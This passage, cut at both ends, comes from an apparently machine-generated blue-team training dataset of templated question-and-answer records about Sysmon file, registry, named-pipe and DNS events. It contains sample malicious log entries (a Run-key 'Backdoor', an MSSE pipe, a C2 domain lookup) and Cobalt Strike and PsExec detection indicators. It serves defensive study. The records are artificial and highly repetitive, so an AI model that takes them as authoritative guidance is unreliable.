"security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012003Z", "updated_at": "2025-12-18T00:11:32.012003Z"} +{"id": "trtp-819377a9c38c", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.\n\nBest suited for:\n- Track malware drops\n- Monitor startup folder changes\n- Detect web shell creation\n- Watch scheduled task creation\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012017Z", "updated_at": "2025-12-18T00:11:32.012017Z"} +{"id": "trtp-320c3a9ff7a3", "instruction": "How do I use Sysmon alongside other tools in my toolkit?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 11 logs file creation events. Useful for tracking malware drops, staging files, and persistence mechanisms.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-11---filecreate", "license": "original", "retrieved_at": "2025-12-18T00:11:32.011880Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012031Z", "updated_at": "2025-12-18T00:11:32.012031Z"} +{"id": "trtp-4d521747e98d", "instruction": "Explain Sysmon for security professionals.", "output": "Event ID 12/13/14 - Registry Events\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.\n\nPlatform: windows\n\nCommon uses:\n- Detect Run key persistence\n- Monitor services creation\n- Track security policy changes\n- Identify defense evasion", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012234Z", "updated_at": "2025-12-18T00:11:32.012234Z"} +{"id": "trtp-2632c3ef74d8", "instruction": "How do I use Sysmon?", "output": "Syntax for Sysmon:\n\nEventID=12 OR EventID=13 OR EventID=14\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012247Z", "updated_at": "2025-12-18T00:11:32.012247Z"} +{"id": "trtp-a9c4838a7ffc", "instruction": "How would I use Sysmon for Detect Run key persistence?", "output": "Example of Event ID 12/13/14 - Registry Events:\n\n```\n\n SetValue\n C:\\Windows\\System32\\reg.exe\n HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\n C:\\Users\\Public\\malware.exe\n\n```\n\nInterpretation: Key fields: EventType, Image (modifying process), TargetObject (registry path), Details (value data)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012260Z", "updated_at": "2025-12-18T00:11:32.012260Z"} +{"id": "trtp-e8b3d4efd9f5", "instruction": "Provide an example of using Sysmon.", "output": "Here is a practical example of Sysmon:\n\n```\n\n SetValue\n C:\\Windows\\System32\\reg.exe\n HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\n C:\\Users\\Public\\malware.exe\n\n```\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012270Z", "updated_at": "2025-12-18T00:11:32.012270Z"} +{"id": "trtp-590f02ba9c6b", "instruction": "What are the use cases for Sysmon?", "output": "Use cases for Sysmon:\n\n- Detect Run key persistence\n- Monitor services creation\n- Track security policy changes\n- Identify defense evasion\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012282Z", "updated_at": "2025-12-18T00:11:32.012282Z"} +{"id": "trtp-861afadd67b6", "instruction": "How do I read Sysmon output?", "output": "Interpreting Sysmon output:\n\nKey fields: EventType, Image (modifying process), TargetObject (registry path), Details (value data)\n\nExample output:\n```\n\n SetValue\n C:\\Windows\\System32\\reg.exe\n HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\n C:\\Users\\Public\\malware.exe\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012293Z", "updated_at": "2025-12-18T00:11:32.012293Z"} +{"id": "trtp-452958035e44", "instruction": "What best practices should I follow when using Sysmon?", "output": "Tips for using Sysmon:\n\n- Focus on persistence keys\n- Monitor HKLM\\SYSTEM\\CurrentControlSet\\Services\n- Watch for security setting modifications\n\nUseful for: Detect Run key persistence, Monitor services creation, Track security policy changes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012305Z", "updated_at": "2025-12-18T00:11:32.012305Z"} +{"id": "trtp-7b775f3f32db", "instruction": "What indicators does Sysmon help identify?", "output": "Using Sysmon for threat detection:\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.\n\nExample:\n```\n\n SetValue\n C:\\Windows\\System32\\reg.exe\n HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\n C:\\Users\\Public\\malware.exe\n\n```\n\nTips:\n- Focus on persistence keys\n- Monitor HKLM\\SYSTEM\\CurrentControlSet\\Services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012319Z", "updated_at": "2025-12-18T00:11:32.012319Z"} +{"id": "trtp-20403a2374b6", "instruction": "How do I use Sysmon for forensic analysis?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.\n\nForensic applications:\n- Detect Run key persistence\n- Monitor services creation\n- Track security policy changes\n\nWhat to look for: Key fields: EventType, Image (modifying process), TargetObject (registry path), Details (value data)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012331Z", "updated_at": "2025-12-18T00:11:32.012331Z"} +{"id": "trtp-257befc8671b", "instruction": "What is the typical workflow for using Sysmon?", "output": "Workflow for Event ID 12/13/14 - Registry Events:\n\n1. Understand the context: Sysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.\n\n2. Apply the tool:\n```\n\n SetValue\n C:\\Windows\\System32\\reg.exe\n HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Backdoor\n C:\\Users\\Public\\malware.exe\n\n```\n\n3. Common scenarios: Detect Run key persistence, Monitor services creation, Track security policy changes\n\n4. Best practices:\n - Focus on persistence keys\n - Monitor HKLM\\SYSTEM\\CurrentControlSet\\Services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012345Z", "updated_at": "2025-12-18T00:11:32.012345Z"} +{"id": "trtp-3ca1a215eda9", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.\n\nBest suited for:\n- Detect Run key persistence\n- Monitor services creation\n- Track security policy changes\n- Identify defense evasion\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012359Z", "updated_at": "2025-12-18T00:11:32.012359Z"} +{"id": "trtp-1a19c5de246a", "instruction": "How does Sysmon integrate with other security tools?", "output": "Integration points for Sysmon:\n\nSysmon Event IDs 12 (create/delete key), 13 (set value), and 14 (rename) log registry operations. Essential for detecting persistence, configuration changes, and defense evasion.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-12-13-14---registry-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012211Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012373Z", "updated_at": "2025-12-18T00:11:32.012373Z"} +{"id": "trtp-70c6c825cf96", "instruction": "What is Sysmon and how is it used in security?", "output": "Event ID 17/18 - Pipe Events\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.\n\nPlatform: windows\n\nCommon uses:\n- Detect Cobalt Strike named pipes\n- Identify PsExec usage\n- Monitor lateral movement\n- Track inter-process communication", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012635Z", "updated_at": "2025-12-18T00:11:32.012635Z"} +{"id": "trtp-099e991d82b7", "instruction": "Show me the basic syntax for Sysmon.", "output": "Syntax for Sysmon:\n\nEventID=17 OR EventID=18\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012649Z", "updated_at": "2025-12-18T00:11:32.012649Z"} +{"id": "trtp-c7d40f2e3fd8", "instruction": "Provide an example of using Sysmon.", "output": "Example of Event ID 17/18 - Pipe Events:\n\n```\n\n C:\\Windows\\System32\\cmd.exe\n \\\\MSSE-1234-server\n\n```\n\nInterpretation: Key fields: Image (process), PipeName (pipe name)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012660Z", "updated_at": "2025-12-18T00:11:32.012660Z"} +{"id": "trtp-792e79a60082", "instruction": "In what scenarios is Sysmon useful?", "output": "Use cases for Sysmon:\n\n- Detect Cobalt Strike named pipes\n- Identify PsExec usage\n- Monitor lateral movement\n- Track inter-process communication\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012672Z", "updated_at": "2025-12-18T00:11:32.012672Z"} +{"id": "trtp-dee3b4efada7", "instruction": "What do the results from Sysmon mean?", "output": "Interpreting Sysmon output:\n\nKey fields: Image (process), PipeName (pipe name)\n\nExample output:\n```\n\n C:\\Windows\\System32\\cmd.exe\n \\\\MSSE-1234-server\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012683Z", "updated_at": "2025-12-18T00:11:32.012683Z"} +{"id": "trtp-e6a2ff269421", "instruction": "What are common tips for Sysmon?", "output": "Tips for using Sysmon:\n\n- Cobalt Strike uses MSSE-* pipes by default\n- PsExec creates psexecsvc pipe\n- Watch for unusual pipe names\n\nUseful for: Detect Cobalt Strike named pipes, Identify PsExec usage, Monitor lateral movement", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012695Z", "updated_at": "2025-12-18T00:11:32.012695Z"} +{"id": "trtp-9ac95391fd6e", "instruction": "How do I use Sysmon for threat detection?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.\n\nExample:\n```\n\n C:\\Windows\\System32\\cmd.exe\n \\\\MSSE-1234-server\n\n```\n\nTips:\n- Cobalt Strike uses MSSE-* pipes by default\n- PsExec creates psexecsvc pipe", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012708Z", "updated_at": "2025-12-18T00:11:32.012708Z"} +{"id": "trtp-4542b203d4fa", "instruction": "How do forensic investigators use Sysmon?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.\n\nForensic applications:\n- Detect Cobalt Strike named pipes\n- Identify PsExec usage\n- Monitor lateral movement\n\nWhat to look for: Key fields: Image (process), PipeName (pipe name)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012720Z", "updated_at": "2025-12-18T00:11:32.012720Z"} +{"id": "trtp-b5d2d57132b3", "instruction": "What is the typical workflow for using Sysmon?", "output": "Workflow for Event ID 17/18 - Pipe Events:\n\n1. Understand the context: Sysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.\n\n2. Apply the tool:\n```\n\n C:\\Windows\\System32\\cmd.exe\n \\\\MSSE-1234-server\n\n```\n\n3. Common scenarios: Detect Cobalt Strike named pipes, Identify PsExec usage, Monitor lateral movement\n\n4. Best practices:\n - Cobalt Strike uses MSSE-* pipes by default\n - PsExec creates psexecsvc pipe", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012734Z", "updated_at": "2025-12-18T00:11:32.012734Z"} +{"id": "trtp-d43aab2e4777", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.\n\nBest suited for:\n- Detect Cobalt Strike named pipes\n- Identify PsExec usage\n- Monitor lateral movement\n- Track inter-process communication\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012748Z", "updated_at": "2025-12-18T00:11:32.012748Z"} +{"id": "trtp-c61b55ca7142", "instruction": "Can Sysmon be combined with other analysis methods?", "output": "Integration points for Sysmon:\n\nSysmon Event ID 17 (pipe created) and 18 (pipe connected) log named pipe activity. Named pipes are used for inter-process communication and are often used by malware and C2 frameworks.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-17-18---pipe-events", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012611Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012763Z", "updated_at": "2025-12-18T00:11:32.012763Z"} +{"id": "trtp-a83f810d4b20", "instruction": "What is Sysmon and how is it used in security?", "output": "Event ID 22 - DNS Query\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).\n\nPlatform: windows\n\nCommon uses:\n- Detect C2 domains\n- Identify DGA activity\n- Monitor DNS tunneling\n- Track initial access via malicious domains", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012962Z", "updated_at": "2025-12-18T00:11:32.012962Z"} +{"id": "trtp-978621a207e7", "instruction": "Show me the basic syntax for Sysmon.", "output": "Syntax for Sysmon:\n\nEventID=22\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012975Z", "updated_at": "2025-12-18T00:11:32.012975Z"} +{"id": "trtp-92e0d2af4efc", "instruction": "Demonstrate Event ID 22 - DNS Query with an example.", "output": "Example of Event ID 22 - DNS Query:\n\n```\n\n C:\\Windows\\System32\\powershell.exe\n evil-c2.malwaredomain.com\n A\n 185.199.108.133\n\n```\n\nInterpretation: Key fields: Image (querying process), QueryName (domain), QueryType, QueryResults (resolved IPs)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012987Z", "updated_at": "2025-12-18T00:11:32.012987Z"} +{"id": "trtp-8aad5d4e1f0b", "instruction": "Provide an example of using Sysmon.", "output": "Here is a practical example of Sysmon:\n\n```\n\n C:\\Windows\\System32\\powershell.exe\n evil-c2.malwaredomain.com\n A\n 185.199.108.133\n\n```\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.012998Z", "updated_at": "2025-12-18T00:11:32.012998Z"} +{"id": "trtp-de1bd533c425", "instruction": "What are the use cases for Sysmon?", "output": "Use cases for Sysmon:\n\n- Detect C2 domains\n- Identify DGA activity\n- Monitor DNS tunneling\n- Track initial access via malicious domains\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013010Z", "updated_at": "2025-12-18T00:11:32.013010Z"} +{"id": "trtp-e5e58b494cfe", "instruction": "How do I interpret Sysmon output?", "output": "Interpreting Sysmon output:\n\nKey fields: Image (querying process), QueryName (domain), QueryType, QueryResults (resolved IPs)\n\nExample output:\n```\n\n C:\\Windows\\System32\\powershell.exe\n evil-c2.malwaredomain.com\n A\n 185.199.108.133\n\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013021Z", "updated_at": "2025-12-18T00:11:32.013021Z"} +{"id": "trtp-1aa148fa051a", "instruction": "What are some tips for using Sysmon?", "output": "Tips for using Sysmon:\n\n- Correlate with threat intelligence\n- Watch for high entropy domain names\n- Monitor for excessive NXDOMAIN responses\n\nUseful for: Detect C2 domains, Identify DGA activity, Monitor DNS tunneling", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013033Z", "updated_at": "2025-12-18T00:11:32.013033Z"} +{"id": "trtp-4a252c8ece15", "instruction": "How do I use Sysmon for threat detection?", "output": "Using Sysmon for threat detection:\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).\n\nExample:\n```\n\n C:\\Windows\\System32\\powershell.exe\n evil-c2.malwaredomain.com\n A\n 185.199.108.133\n\n```\n\nTips:\n- Correlate with threat intelligence\n- Watch for high entropy domain names", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013047Z", "updated_at": "2025-12-18T00:11:32.013047Z"} +{"id": "trtp-4ef66512ac8d", "instruction": "What evidence can Sysmon help uncover?", "output": "Forensic analysis with Sysmon:\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).\n\nForensic applications:\n- Detect C2 domains\n- Identify DGA activity\n- Monitor DNS tunneling\n\nWhat to look for: Key fields: Image (querying process), QueryName (domain), QueryType, QueryResults (resolved IPs)", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013059Z", "updated_at": "2025-12-18T00:11:32.013059Z"} +{"id": "trtp-375a713f8290", "instruction": "What's the process for analyzing data with Sysmon?", "output": "Workflow for Event ID 22 - DNS Query:\n\n1. Understand the context: Sysmon Event ID 22 logs DNS queries made by processes. Added in Sysmon 10, this event is essential for detecting C2 communication, DNS tunneling, and domain generation algorithms (DGAs).\n\n2. Apply the tool:\n```\n\n C:\\Windows\\System32\\powershell.exe\n evil-c2.malwaredomain.com\n A\n 185.199.108.133\n\n```\n\n3. Common scenarios: Detect C2 domains, Identify DGA activity, Monitor DNS tunneling\n\n4. Best practices:\n - Correlate with threat intelligence\n - Watch for high entropy domain names", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysmon-event-id-22---dns-query", "license": "original", "retrieved_at": "2025-12-18T00:11:32.012940Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.013074Z", "updated_at": "2025-12-18T00:11:32.013074Z"} +{"id": "trtp-ea8f924c790e", "instruction": "What are the advantages of Sysmon for security analysis?", "output": "Advantages of Sysmon:\n\nSysmon Event ID 22 logs DNS queries made by processes. Added in 